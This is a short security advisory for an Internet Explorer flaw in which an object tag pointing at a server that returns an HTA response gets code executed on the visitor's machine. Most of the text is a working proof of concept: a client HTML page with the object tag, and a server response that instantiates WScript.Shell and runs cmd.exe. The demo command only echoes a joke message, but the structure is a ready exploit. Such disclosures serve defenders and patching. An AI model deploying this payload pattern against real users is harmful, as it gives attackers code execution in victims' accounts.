source: http://www.securityfocus.com/bid/8456/info

The problem occurs when Internet Explorer receives a response from the server when a web page containing an object tag is parsed. Successful exploitation of this vulnerability could allow a malicious object to be trusted and as such be executed on the local system. All code execution would occur in the security context of the current user. 

--------------Client HTTP request---------------------------
<html>
...
<object data="www.yourinternethost.com/yourexploitwebpageorcgi.html">
</object>
</html>
------------------------------------------------------------

-------------Server HTTP Response---------------------------
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Length: 191

<html>
<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS");
</script>
</html>
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